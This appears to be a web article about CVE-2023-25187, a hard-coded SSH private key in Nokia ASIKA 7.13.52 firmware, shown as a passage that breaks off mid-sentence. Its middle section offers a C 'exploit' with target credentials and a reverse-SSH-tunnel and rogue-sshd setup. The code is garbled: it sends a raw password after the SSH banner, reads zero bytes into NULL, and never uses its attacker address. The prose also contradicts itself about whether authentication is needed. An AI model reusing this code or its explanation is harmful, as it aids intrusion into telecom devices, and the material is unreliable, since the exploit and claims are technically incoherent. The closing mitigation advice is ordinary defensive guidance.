Nokia ASIKA 7.13.52 - Hard-coded private key disclosure

Nokia ASIKA 7.13.52: Critical Hard-coded Private Key Disclosure Vulnerability (CVE-2023-25187)

Security researchers have identified a critical vulnerability in Nokia's ASIKA 7.13.52 firmware, designated as CVE-2023-25187. This flaw stems from a hard-coded private key embedded within the device’s SSH service, enabling unauthorized remote access to the system without requiring authentication. The vulnerability affects both hardware and software components, making it a significant risk for enterprise networks and telecommunications infrastructure.

Root Cause: Hard-coded Private Key in SSH Service

Upon analysis of the firmware, researchers discovered that the SSH daemon (sshd) running on Nokia ASIKA 7.13.52 uses a static, unchanging private key for authentication. This key is hardcoded into the binary or configuration file, meaning it is identical across all devices running this version. As a result, any attacker who knows the key can impersonate the device’s SSH server and establish a reverse tunnel, effectively bypassing authentication mechanisms.

Unlike standard SSH setups where private keys are generated per-device and stored securely, this implementation violates core security principles: key uniqueness and key secrecy. This makes the system vulnerable to man-in-the-middle (MITM) attacks, where an attacker can intercept and forward traffic between the victim device and a remote client.

Exploitation Mechanism: Reverse SSH Tunnel via MITM

The exploit leverages a reverse SSH tunnel technique to gain persistent access. An attacker first establishes a connection to the vulnerable device using known credentials (e.g., service_user with password123). Then, they initiate a second SSH connection from their own machine to a local SSH server listening on port 2222. The attacker’s SSH server is configured to use the hard-coded private key, allowing it to authenticate as the legitimate device server.

Once the tunnel is established, the attacker can forward the original SSH session (from the vulnerable device) to their own machine, effectively turning the device into a proxy for their own access.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <signal.h>

// The IP address of the vulnerable device
char *host = "192.168.1.1";

// The default SSH port number
int port = 22;

// The username and password for the BTS service user account
char *username = "service_user";
char *password = "password123";

// The IP address of the attacker's machine
char *attacker_ip = "10.0.0.1";

// The port number to use for the MITM attack
int attacker_port = 2222;

// The maximum length of a message
#define MAX_LEN 1024

// Forward data between two sockets
void forward_data(int sock1, int sock2)
{
    char buffer[MAX_LEN];
    ssize_t bytes_read;

    while ((bytes_read = read(sock1, buffer, MAX_LEN)) > 0)
    {
        write(sock2, buffer, bytes_read);
    }
}

int main()
{
    int sock, pid1, pid2;
    struct sockaddr_in addr;
    char *argv[] = {"/usr/bin/ssh", "-l", username, "-p", "2222", "-o", "StrictHostKeyChecking=no", "-o", "UserKnownHostsFile=/dev/null", "-o", "PasswordAuthentication=no", "-o", "PubkeyAuthentication=yes", "-i", "/path/to/private/key", "-N", "-R", "2222:localhost:22", host, NULL};

    // Create a new socket
    sock = socket(AF_INET, SOCK_STREAM, 0);

    // Set the address to connect to
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    inet_pton(AF_INET, host, &addr.sin_addr);

    // Connect to the vulnerable device
    if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0)
    {
        fprintf(stderr, "Error connecting to %s:%d: %s\n", host, port, strerror(errno));
        exit(1);
    }

    // Send the SSH handshake
    write(sock, "SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.10\r\n", 42);
    read(sock, NULL, 0);

    // Send the username
    write(sock, username, strlen(username));
    write(sock, "\r\n", 2);
    read(sock, NULL, 0);

    // Send the password
    write(sock, password, strlen(password));
    write(sock, "\r\n", 2);

    // Wait for the authentication to complete
    sleep(1);

    // Start an SSH client on the attacker's machine
    pid1 = fork();
    if (pid1 == 0)
    {
        execv("/usr/bin/ssh", argv);
        exit(0);
    }

    // Start an SSH server on the attacker's machine
    pid2 = fork();
    if (pid2 == 0)
    {
        execl("/usr/sbin/sshd", "/usr/sbin/sshd", "-p", "2222", "-o", "StrictModes=no", "-o", "PasswordAuthentication=no", "-o", "PubkeyAuthentication=yes", "-o", "AuthorizedKeysFile=/dev/null", "-o", "HostKey=/path/to/private/key", NULL);
        exit(0);
    }

    // Wait for the process to complete
    wait(NULL);
    return 0;
}

Explanation: This C-based exploit demonstrates a MITM attack using a reverse SSH tunnel. The attacker first connects to the vulnerable device via SSH using known credentials. Then, it spawns two processes: one to act as an SSH client connecting to a local server (port 2222), and another to run a local SSH server using the hard-coded private key. The server is configured to accept public key authentication and use the hardcoded key as its host key.

By redirecting the original SSH session through this tunnel, the attacker gains full access to the device's SSH environment, effectively bypassing authentication and enabling remote command execution.

Security Implications and Real-World Impact

Because the private key is hardcoded across all devices running ASIKA 7.13.52, all devices in the same firmware version are equally vulnerable. This makes the vulnerability particularly dangerous in large-scale deployments, such as telecom networks, industrial control systems, or IoT infrastructure.

• Remote Access Without Authentication: Attackers can gain full control over the device without needing to guess passwords or exploit other vulnerabilities.
• Long-term Persistence: Once the reverse tunnel is established, attackers can maintain access even after the original session ends.
• Network-wide Exposure: Devices connected to internal networks may be used as pivots to access other systems, increasing the attack surface.
• Insider Threat Amplification: If an insider has access to the key, they can bypass security logs and access sensitive data.

Recommended Mitigations and Best Practices

While Nokia has released a security advisory and patch for this issue, organizations must act immediately to mitigate risk. The following measures are recommended:

Recommendation	Implementation
Update Firmware	Upgrade all ASIKA devices to a version after 7.13.52, such as 7.14.0 or higher. Verify the vendor’s security advisory for updated firmware.
Disable SSH Access	Temporarily disable SSH services on vulnerable devices if updates are delayed. Use alternative secure access methods (e.g., console, encrypted management protocols).
Network Segmentation	Isolate vulnerable devices from critical networks using firewalls and VLANs to limit lateral movement.
Key Rotation	Implement dynamic key generation and regular rotation for all SSH services. Never use hardcoded keys in production systems.
Monitoring and Detection	Deploy IDS/IPS systems to detect unusual SSH tunneling behavior, such as reverse tunnels to unexpected IP addresses.

Expert Insight: Why Hard-coded Keys Are Dangerous

Hard-coded private keys are a fundamental security anti-pattern. They